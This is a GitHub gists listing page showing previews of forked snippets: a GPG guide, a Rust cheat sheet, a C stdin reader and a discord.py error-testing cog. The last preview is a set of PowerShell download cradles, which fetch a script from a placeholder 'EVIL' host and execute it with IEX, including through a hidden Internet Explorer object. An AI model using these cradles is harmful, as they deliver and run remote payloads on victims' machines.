Skip to content

Instantly share code, notes, and snippets.

View plasticuproject's full-sized avatar
💭
Remove This Feature

plasticuproject

💭
Remove This Feature
View GitHub Profile
@plasticuproject
plasticuproject / gpg_user_guide.md
Created December 22, 2022 05:31 — forked from johnfedoruk/gpg_user_guide.md
A simple GPG user guide

GPG User Guide

Author: John A. Fedoruk <johnny@johnfedoruk.ca>
Key ID: 8937446102D51067EB90DB6AB229A6E87086AD48
Date: 2019-07-03

Overview

@plasticuproject
plasticuproject / Rust-Cheat-Sheet.md
Created August 12, 2021 18:39 — forked from ccdle12/Rust-Cheat-Sheet.md
My Cheat Sheet for programming in Rust.

Rust Cheat Sheet

Covers different areas of programming and the best practices/components explained.

Frequently used crates

A crate that contains a trait StructOpt. Allows a structure Opt to be converted
@plasticuproject
plasticuproject / s_new_from_stdin.c
Created July 16, 2021 02:03 — forked from migf1/s_new_from_stdin.c
Read portably a string of arbitrary length from the console in C ( ANSI C89 / ISO C90 ).
#include <stdio.h> /* getchar() */
#include <stdlib.h> /* malloc(), realloc() */
#include <string.h> /* memcpy() */
/* -----------------------------------------------
* Create a new string (NUL-terminated array of chars) by reading the stdin.
* Return the newly created string, or NULL on error.
* Args:
* int beExact: If 0 (false), then the size of the created string will
* be an exact multiple of the internally used alloc-ahead
@plasticuproject
plasticuproject / error_tests.py
Created March 11, 2021 04:32 — forked from combe15/error_tests.py
A Cog dedicated to raise every discord.py error on command with the purpose of testing error handling.
""" A Cog dedicated to raise every discord.py error on command with the purpose of testing error handling. """
import discord
from discord.ext import commands
from discord.ext.commands import Context, Bot, Cog
""" Command Errors:
https://discordpy.readthedocs.io/en/latest/ext/commands/api.html#exception-hierarchy
ConversionError
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object